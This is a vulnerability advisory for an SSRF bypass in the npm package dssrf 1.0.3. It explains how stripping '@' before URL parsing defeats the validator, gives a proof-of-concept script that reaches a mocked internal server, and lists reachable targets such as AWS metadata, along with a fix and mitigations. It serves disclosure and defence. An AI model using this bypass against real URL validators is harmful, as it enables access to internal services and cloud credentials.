dssrf has an SSRF bypass with remove_at_symbol_in_stringGHSA-cg4g-m8jx-vjv2
Fix: HackingRepo/dssrf-js#98GHSA-cg4g-m8jx-vjv2 is a CWE-76 vulnerability in dssrf. A fix is available for dssrf — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-cg4g-m8jx-vjv2.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
dssrfnpmDescription
Summary
is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.
Vulnerability
In helpers.ts, is_url_safe does:
u = remove_at_symbol_in_string(u); // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname; // resolved from the corrupted string
What happens step by step
Input: http://[email protected]/
remove_at_symbol_in_string→http://evil.com127.0.0.1/new URL(...)→hostname = "evil.com127.0.0.1"- Not a bare IP, not IPv6 → passes all IP checks
is_hostname_resolve_to_internal_ip("evil.com127.0.0.1")→ NXDOMAIN → returns false- Result:
true(safe) — but any HTTP client using the original URL connects to127.0.0.1
Proof of Concept
import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';
// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');
const BYPASS_URL = 'http://[email protected]/';
const PLAIN_URL = 'http://10.0.0.1/';
// dssrf should block both — it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is_url_safe('${PLAIN_URL}') =`, await is_url_safe(PLAIN_URL), '← correctly blocked');
console.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️ BYPASSED (should be false)');
// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1
console.log('\n--- HTTP client ---');
try {
const res = await got(BYPASS_URL, { retry: { limit: 0 } });
console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️ VULNERABLE');
} catch (e) {
console.log(`got('${BYPASS_URL}') blocked:`, e.message);
}
Root Cause
@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to reject any URL that contains a userinfo component after parsing.
Suggested Fix
Remove the remove_at_symbol_in_string call from is_url_safe and add a userinfo check after new URL():
const parsed = new URL(u);
// Reject userinfo — '@' in authority is a classic SSRF bypass vector
if (parsed.username !== "" || parsed.password !== "") {
return false;
}
A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.
Impact
- Affected version: 1.0.3 (latest)
- Bypasses: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (
169.254.169.254), any internal hostname via userinfo prefix - Note: The GHSA-8p33-q827-ghj5 advisory patched version (
1.0.3) should be updated since this vector was not covered by that fix
Users are strongly advised to upgrade to dssrf 1.0.4
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | dssrf | all versions | 1.0.4npm install dssrf@1.0.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dssrf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update dssrf to 1.0.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cg4g-m8jx-vjv2 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is GHSA-cg4g-m8jx-vjv2 in your dependencies?
Find it across npm, including transitive dependencies.